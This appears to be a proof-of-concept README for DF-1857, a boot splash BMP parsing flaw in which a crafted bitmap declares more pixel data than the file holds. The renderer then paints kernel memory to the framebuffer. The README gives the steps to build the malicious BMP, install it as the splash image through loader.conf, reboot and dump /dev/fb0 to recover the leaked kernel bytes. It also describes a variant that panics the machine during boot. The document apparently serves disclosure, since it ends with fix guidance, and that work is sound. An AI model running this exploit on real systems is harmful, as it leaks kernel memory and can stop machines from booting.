# DF-1857 PoC

Trigger: craft a BMP whose declared pixel array (320*200=64000 bytes)
exceeds the real file (~400 pixel bytes). The splash renderer reads
past the file into kernel memory and paints it to the VGA framebuffer.
Read back via /dev/fb0.

## Preconditions

* `splash_bmp_load=YES` in loader.conf.
* Write access to the boot splash image asset.
* `/dev/fb0` read access for the leak-recovery path.

## Build

```
cc -o mkbmp mkbmp.c
./mkbmp bad.bmp
```

## Run

```
# Install as splash asset (path depends on loader config):
sudo cp bad.bmp /boot/splash.bmp
# Add to /boot/loader.conf:
#   splash_bmp_load="YES"
#   splash_image_data="/boot/splash.bmp"
sudo reboot
# After boot:
dd if=/dev/fb0 of=leaked.bin bs=64000 count=1
# Compare leaked.bin against nm /boot/kernel/kernel to find leaked symbols
```

## Expected output

```
# leaked.bin contains kernel memory bytes (pointers, text) that are NOT
# the intended palette indices.

# DoS variant: use RLE8 without end-of-bitmap escape -> renderer walks
# into unmapped page -> panic during boot:
Fatal trap 12: page fault while in kernel mode
bmp_DecodeRLE8+0x.. at 0x..
```

## Fix

See the finding markdown: validate pixel array fits within data_size,
validate bfOffBits, validate depth in {1,4,8}, thread data_size through.